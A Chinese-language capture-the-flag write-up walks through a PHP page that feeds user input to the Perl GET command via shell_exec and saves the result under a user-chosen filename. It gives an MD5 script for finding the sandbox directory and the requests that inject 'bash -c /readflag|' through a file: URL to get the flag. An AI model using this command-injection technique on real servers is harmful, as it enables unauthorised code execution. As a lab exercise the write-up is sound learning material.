进入靶场
左上角是IP地址,下面有一堆代码
<?php
// 检查是否存在 HTTP_X_FORWARDED_FOR 头部信息
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
// 如果存在,将其按逗号分隔,并将第一个元素作为新的 REMOTE_ADDR
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
// 输出 REMOTE_ADDR 的值
echo $_SERVER["REMOTE_ADDR"];
// 创建一个沙箱目录,沙箱目录名称基于 "orange" 和 REMOTE_ADDR 的 MD5 哈希值
$sandbox = "sandbox/". md5("orange". $_SERVER["REMOTE_ADDR"]);
// 创建沙箱目录,如果目录已存在或创建失败,错误将被抑制
@mkdir($sandbox);
// 进入沙箱目录,如果切换目录失败,错误将被抑制
@chdir($sandbox);
// 使用 shell_exec 函数执行一个 GET 命令,并将 GET 请求中的 url 参数作为参数,使用 escapeshellarg 函数对参数进行转义
$data = shell_exec("GET ". escapeshellarg($_GET["url"]));
// 获取 GET 请求中 filename 参数的路径信息
$info = pathinfo($_GET["filename"]);
// 去除路径中的点,并将其作为目录名
$dir = str_replace(".", "", basename($info["dirname"]));
// 创建目录,如果目录已存在或创建失败,错误将被抑制
@mkdir($dir);
// 进入目录,如果切换目录失败,错误将被抑制
@chdir($dir);
// 将 shell_exec 的结果写入文件,文件名为 GET 请求中 filename 参数的基本名称,如果文件已存在或写入失败,错误将被抑制
@file_put_contents(basename($info["basename"]), $data);
// 输出当前文件的源代码并进行语法高亮显示
highlight_file(__FILE__);
REMOTE_ADDR
是一个服务器环境变量,在 Web 服务器环境中广泛使用,它通常表示客户端(通常是浏览器或其他客户端程序)的 IP 地址。
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {...}
:- 首先检查
HTTP_X_FORWARDED_FOR
头部是否存在。HTTP_X_FORWARDED_FOR
通常包含了客户端经过的代理服务器的 IP 地址列表。 - 如果存在,使用
explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])
将其按逗号分隔,并将第一个元素作为新的REMOTE_ADDR
,这可能是为了追踪客户端的真实 IP 地址。
- 首先检查
echo $_SERVER["REMOTE_ADDR"];
:- 输出当前客户端的
REMOTE_ADDR
信息,可能是修改后的真实 IP 或原始 IP。
- 输出当前客户端的
$sandbox = "sandbox/". md5("orange". $_SERVER["REMOTE_ADDR"]);
:- 创建一个沙箱目录,其名称是
sandbox/
加上orange
和REMOTE_ADDR
的 MD5 哈希值,目的可能是为了给不同的客户端创建一个隔离的工作目录。
- 创建一个沙箱目录,其名称是
@mkdir($sandbox);
和@chdir($sandbox);
:- 使用
@
符号抑制mkdir
和chdir
的错误,创建沙箱目录并切换到该目录。
- 使用
$data = shell_exec("GET ". escapeshellarg($_GET["url"]));
:- 使用
shell_exec
函数执行一个命令,命令为GET
加上GET
请求中url
参数的值,使用escapeshellarg
对参数进行转义以防止命令行注入
- 使用
$info = pathinfo($_GET["filename"]);
:- 获取
GET
请求中filename
参数的路径信息,包括目录名、文件名等。
- 获取
$dir = str_replace(".", "", basename($info["dirname"]));
:- 对
filename
参数的目录部分进行处理,将其中的点去掉,作为新的目录名。
- 对
@mkdir($dir);
和@chdir($dir);
:- 创建并切换到新目录,使用
@
抑制错误。
- 创建并切换到新目录,使用
@file_put_contents(basename($info["basename"]), $data);
:- 将
shell_exec
命令的执行结果存储到文件中,文件名为filename
参数的基本名称,使用@
抑制文件操作的错误。
- 将
先访问?url=/&filename=a
此操作会创建目录
接下来该访问目录了
源代码中说目录名称是orange和IP地址的MD5值
我用了下面这个脚本转换
import hashlib
def calculate_md5(input_string):
hash_md5 = hashlib.md5()
hash_md5.update(input_string.encode('utf-8'))
return hash_md5.hexdigest()
input_string = "orange192.168.122.15"
print(calculate_md5(input_string))
得到50d5f583d8a911dde39156ba3f03c3d5
那么访问的语句就是/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a
看到了readflag,点又点不动
利用base -c "cmd"进行命令执行
/?url=&filename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=a
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a
flag{ecfc6b8e-9d3e-4717-ace6-4a57d8465c81}
笔记
1,
/?url=/&filename=a
包含两个 GET 参数:
url
参数的值为/
。这里url不能为空filename
参数的值为a
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a
2,
/?url=/&filename=bash -c /readflag|
包含两个参数:
url
参数为/。这里url为空也行filename
参数包含bash -c /readflag|
,这里使用了bash -c
命令执行/readflag
,并且使用了|
管道符,是想将/readflag
命令的输出传递给另一个命令.
/?url=file:bash -c /readflag|&filename=a
url
参数的值是file:bash -c /readflag|
。filename
参数的值是a
。
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a